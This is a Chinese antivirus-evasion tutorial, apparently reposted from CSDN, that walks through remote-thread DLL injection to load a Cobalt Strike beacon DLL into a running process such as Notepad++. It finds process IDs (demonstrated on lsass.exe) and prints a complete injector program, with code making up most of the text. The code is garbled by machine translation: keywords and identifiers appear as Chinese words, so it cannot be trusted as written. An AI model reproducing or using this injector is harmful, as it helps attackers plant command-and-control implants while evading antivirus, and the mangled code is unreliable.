免杀笔记 (免杀工具是什么)

免杀笔记 这段时间我们暂时没什么事情干的话我们就继续更新我们的免杀笔记力!!! :今天我们讲DLL注入
目录
1.DLL注入
2.直接加载DLL?
3.远程线程注

如果这段时间没有事情做,我们会继续更新防杀笔记创建功能。

:今天我们来谈谈DLL注入

目录

1.DLL注入

2.是否直接加载DLL?

3.远程线程注入

获取句柄

远程请求内存空间

将CS DLL加载到内存中

创建远程线程并在线加载DLL

等待远程线程退出、释放DLL 空间并关闭线程句柄。

4.获取进程PID

5.释放空间

6.申请远程内存

7.CS在线DLL写入内存

8.获取LoadLibrary地址

9. 创建线程

10.等待线程退出,释放DLL空间,并关闭句柄。

11.最终代码

1.DLL注入

DLL 注入。也称为远程线程注入。

DLL(动态链接库)注入是一种允许一个进程将动态链接库(DLL)注入另一个进程的技术。这种技术通常用于软件开发和系统管理,但恶意软件也可以使用它来实现特定目标。

首先,让我解释一下。你有没有想过为什么不用加载user32.dll就可以使用MessageBoxA等函数?

这是因为包含了诸如Windows.h之类的头文件(如果你不相信我,就不要包含它们;你肯定会得到一个错误)。

在Windows平台上,Windows.h头文件是众多包含Windows API的头文件之一,它在编译时引入了所有必要的声明和定义,包括user32.dll的函数声明。

因此,如果您检查该程序的导出表,您将看到DLL user32.dll(无需手动转到LoadLibrary)。

2.直接加载DLL?

有些人可能认为可以自己写C语言,然后写LoadLibrary。

这在现实生活中确实可能发生。 让我们来演示一下

首先生成在线DLL

接下来,直接编写C代码(不能终止它,否则ShellCode的内存资源将被释放)。

下面的DLL是在线启动的DLL。

int main()

{

LoadLibrary(L\’C:\\\\Users\\\\ASUS\\\\Desktop\\\\inject.dll\’);

另一方面(1)

{

//没做什么

}

返回0。

}

可以看到我们已经成功上线了。

您还可以通过进程监视器查看该DLL。

但根本不知道这是什么节目?

: 既未列入UAC 白名单,也未进行数字签名。认为这个防病毒软件不存在?

因此,上面的方法虽然可以使其上线,但是并没有通过这种方式直接加载在线的DLL。

3.远程线程注入

DLL注入也称为远程线程注入,因为我们不想在本地加载DLL,所以只能远程加载。

那么如何执行远程线程注入呢?

获取进程句柄、远程申请内存空间、加载CS在线DLL到内存、获取Loadlibrary的地址、创建远程线程、加载在线DLL、远程线程终止等待DLL空间关闭线程句柄

让我一步步向您介绍这个过程

获取Handle

首先,获取已运行的EXE 的句柄以供以后操作。

远程申请内存空间

这里我们将远程申请内存空间。

将我们的CS的DLL加载入内存

这可能有点令人困惑,但是为什么我们需要将DLL 写入内存呢?

实际上,不存在RemoteLoadLibrary这样的操作,所以你不能让别人的EXE直接运行LoadLibrary。

创建远程线程,Load上线DLL

库无法远程加载,但可以远程创建线程来加载在线DLL。

等待远程线程结束,释放DLL空间,关闭线程句柄

然后,它等待远程线程退出,释放DLL 空间,并关闭线程句柄。

4.GetProcessPID

其实这不是标准函数,而是我们自己写的。 用于通过进程名获取对应的PID。

DWORD GetProcessPID(LPCTSTR lp 进程名称)

{

双字重定义=0;

进程入口32 p32;

HANDLE lpSnapshot=:CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (lpSnapshot==INVALID_HANDLE_VALUE)

{

printf(\’获取进程快照失败,请重试!Error:%d\’,GetLastError());

返回RET。

}

p32.dwSize=sizeof(PROCESSENTRY32);

: 进程32 第一个(lp snapshot, p32);

做{

if (!lstrcmp(p32.szExeFile, lp 进程名))

{

ret=p32.th32进程ID;

休息;

}

while (:Process32Next(lpSnapshot, p32));

: 关闭句柄(lp快照);

返回RET。

}

但是,要运行此函数,还必须包含头文件Tlhelp32.h。让我们获取lsass进程的PID

#includeiostream

#includetchar.h

#includeWindows.h

#includeTlhelp32.h

使用命名空间标准。

#pragma comment(链接器, \’/section:data,RWE\’)

DWORD GetProcessPID(LPCTSTR lp 进程名称)

{

双字型RET=0;

进程入口32 p32;

HANDLE lpSnapshot=:CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (lpSnapshot==INVALID_HANDLE_VALUE)

{

printf(\’获取进程快照失败,请重试!Error:%d\’,GetLastError());

返回RET。

}

p32.dwSize=sizeof(PROCESSENTRY32);

: 进程32 第一个(lp snapshot, p32);

做{

if (!lstrcmp(p32.szExeFile, lp 进程名))

{

ret=p32.th32进程ID;

休息;

}

while (:Process32Next(lpSnapshot, p32));

: 关闭句柄(lp快照);

返回RET。

}

int main()

{

cout \’Lsass 进程PID 为:\’ GetProcessPID(L\’lsass.exe\’) endl;

返回0。

}

由于编码问题,我必须在GetProcePID 接受的字符串前面手动添加一个L。

然后运行看看效果

我用cmd查看,发现还是1348。

这样就可以获取你要注入的程序的PID。

5.打开空间

首先我们需要通过OpenProcess获取句柄Handle。

OpenProcess 是一个Windows API 函数,用于打开现有进程并返回该进程的句柄。通过这个句柄,可以执行一系列操作,例如读取或修改进程的内存以及检索进程信息。

所以我们的代码可以写成

HANDLE OriginalProcessHandle=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);

首先,OpenProcess 接受三个参数。第一个是当前进程的权限(我这里指定了ALL,但实际上可以被Kill软件监控),第二个是是否继承。最后一个参数为False。进程的PID。这里我们将使用我们之前找到的PID。

最好能把判断写下来(圈子里做反杀的人都是这样,不过也可以理解,如果不这样做的话,运行EXE就什么也没有了,而且会感觉有点干)

HANDLE OriginalProcessHandle=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);

if(原始进程句柄==NULL)

{

cout \’获取原始进程句柄失败:(\’endl;

}

除此之外{

cout \’成功获取原始进程句柄:)\’ endl;

}

6.申请远程内存

这里,我们使用VirtualAllocEx函数来远程请求内存空间。

DWORD 长度=(wcslen(dllpath) + 1) * sizeof(TCHAR);

PVOID RemoteMemory=VirtualAllocEx(OriginalProcessHandle, NULL, 长度, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

if(远程内存==NULL)

{

cout \’VritualAlloc 地址失败:(\’ endl;

}除此之外{

cout \’VirtualAlloc 地址成功:)\’ endl;

}

首先,我们忽略长度,看看VirtualAllocEx的参数。第一个参数是上面获取的句柄,然后是NULL,然后是DLL路径长度,MEM_COMMIT和PAGE_EXECUTE_READWRITE和平常一样。虚拟分配。

我认为这里需要说的是,Length是DLL路径的长度,而这个长度在内存中以2个字节存储,所以我们需要*sizeif(tchar)。

这并不是说将DLL的内容加载到内存中,而是将DLL的路径作为副本加载到内存中,以方便以后LoadLibrary。

7.CS上线DLL写入内存

在这里使用WirteProcessMemory 或先发布您的代码

BOOL WriteStatus=WriteProcessMemory(OriginalProcessHandle,RemoteMemory,dllpath,长度,NULL);

if(写入状态==0)

{

cout \’无法将CS DLL 写入内存:(\’ endl;

}除此之外

{

cout \’成功将CS DLL写入内存:)\’ endl;

}

第一个参数是句柄,然后是远程虚拟地址,然后是DLL 的地址、长度和NULL。

8.获取LoadLibrary地址

事实上,您可以在这里完全跳过这一步并直接创建线程LoadLibrary,但我仍然将其隐藏在较低的设置中,以使其在导入表中不那么明显(GetProcessAddress 仍然是公共的)。

FARPROC FunctionHandle=GetProcAddress(GetModuleHandle(L\’kernel32.dll\’), \’LoadLibrary\’);

此处,使用函数指针类型(FARPOC),GetProcAddress 采用两个参数。一个是目标DLL的句柄,另一个是导出函数的名称。

因此,既然我们要绕过Loadlibrary,就需要使用GetModuleHandle来获取Kernel32句柄,找到Kernerl32中的Loadlibrary函数,并返回函数地址。

9.创建线程

先贴出你的代码

HANDLE RemoteHandle=CreateRemoteThread(OriginalProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)FunctionHandle, RemoteMemory,0,NULL);

if(远程句柄==NULL)

{

cout \’创建远程线程失败:(\’ endl;

返回;

}除此之外{

cout \’远程线程成功创建:)\’ endl;

}

CreateRemoteThread 接受三个参数。插入程序的句柄,NULL,0,指向线程函数的指针,即线程内要执行的代码的入口点(需要强制类型转换!),要应用的地址。远程、0、空

通过上面的代码,可以为远程程序创建一个线程。

10.等待线程结束,释放DLL空间,关闭句柄

对于这三个我无话可说!

//6. 等待线程完成。

WaitForSingleObject(RemoteHandle, -1);

//7. 释放DLL空间。

VirtualFreeEx(OriginalProcessHandle, RemoteMemory, 长度, MEM_COMMIT);

//8. 关闭手柄。

CloseHandle(原进程句柄);

最后一步是将上面的API封装成一个函数,并向其传递两个参数。一个是进程的API,另一个是DLL路径。

void DLLInject(DWORD pid,LPCWSTR dllpath)

其中LPCWSTR 是Windows 平台上使用的指针类型,表示指向以null 结尾的宽字符常量的指针。

11.最终代码

您现在已经有了完整的代码。

#includeiostream

#includetchar.h

#includeWindows.h

#includeTlhelp32.h

使用命名空间标准。

#pragma comment(链接器, \’/section:data,RWE\’)

DWORD GetProcessPID(LPCTSTR lp 进程名称)

{

双字型RET=0;

进程入口32 p32;

HANDLE lpSnapshot=:CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (lpSnapshot==INVALID_HANDLE_VALUE)

{

printf(\’获取进程快照失败,请重试!Error:%d\’,GetLastError());

返回RET。

}

p32.dwSize=sizeof(PROCESSENTRY32);

: 进程32 第一个(lp snapshot, p32);

做{

if (!lstrcmp(p32.szExeFile, lp 进程名))

{

ret=p32.th32进程ID;

休息;

}

while (:Process32Next(lpSnapshot, p32));

: 关闭句柄(lp快照);

返回RET。

}

void DLLInject(DWORD pid,LPCWSTR dllpath)

{

//LPCWSTR是Windows平台上使用的指针类型,表示“指向空终止宽字符常量的指针”。

//1. 获取句柄。

HANDLE OriginalProcessHandle=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);

if(原始进程句柄==NULL)

{

cout \’获取原始进程句柄失败:(\’endl;

返回;

}

除此之外{

cout \’成功获取原始进程句柄:)\’ endl;

}

//2.远程请求内存

DWORD 长度=(wcslen(dllpath) + 1) * sizeof(TCHAR);

PVOID RemoteMemory=VirtualAllocEx(OriginalProcessHandle, NULL, 长度, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

if(远程内存==NULL)

{

cout \’VritualAlloc 地址失败:(\’ endl;

返回;

}除此之外{

cout \’VirtualAlloc 地址成功:)\’ endl;

}

//3.将CS在线DLL写入内存

BOOL WriteStatus=WriteProcessMemory(OriginalProcessHandle,RemoteMemory,dllpath,长度,NULL);

if(写入状态==0)

{

cout \’无法将CS DLL 写入内存:(\’ endl;

返回;

}除此之外

{

cout \’成功将CS DLL写入内存:)\’ endl;

}

//4. 获取加载库地址。

FARPROC FunctionHandle=GetProcAddress(GetModuleHandle(L\’kernel32.dll\’), \’LoadLibraryW\’);

//5. 创建一个线程。

HANDLE RemoteHandle=CreateRemoteThread(OriginalProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)FunctionHandle, RemoteMemory,0,NULL);

if(远程句柄==NULL)

{

cout \’创建远程线程失败:(\’ endl;

返回;

}除此之外{

cout \’远程线程成功创建:)\’ endl;

}

//6. 等待线程完成。

WaitForSingleObject(RemoteHandle, -1);

//7. 释放DLL空间。

VirtualFreeEx(OriginalProcessHandle, RemoteMemory, 长度, MEM_COMMIT);

//8. 关闭手柄。

CloseHandle(原进程句柄);

cout \’DL1 注入成功11y !\’ 享受黑客时间:)!

}

int main()

{

DWORD PID=GetProcessPID(L\’notepad++.exe\’);

DLLInject(PID, L\’C:\\\\Users\\\\ASUS\\\\Desktop\\\\inject.dll\’);

返回0。

}

我决定这里注入的是Notepad++。当然你可以注入其他东西,但是你必须小心权限。

查看结果(记得先打开Notepad++)

当然,稍后我会完善从CMD获取DLL路径和程序名的功能,然后发布到Github上。

以上#Antikill Notes相关内容摘自网络,仅供参考。相关信息请参见官方公告。

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93365.html

Like (0)
CSDN的头像CSDN
Previous 2024年7月6日
Next 2024年7月6日

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注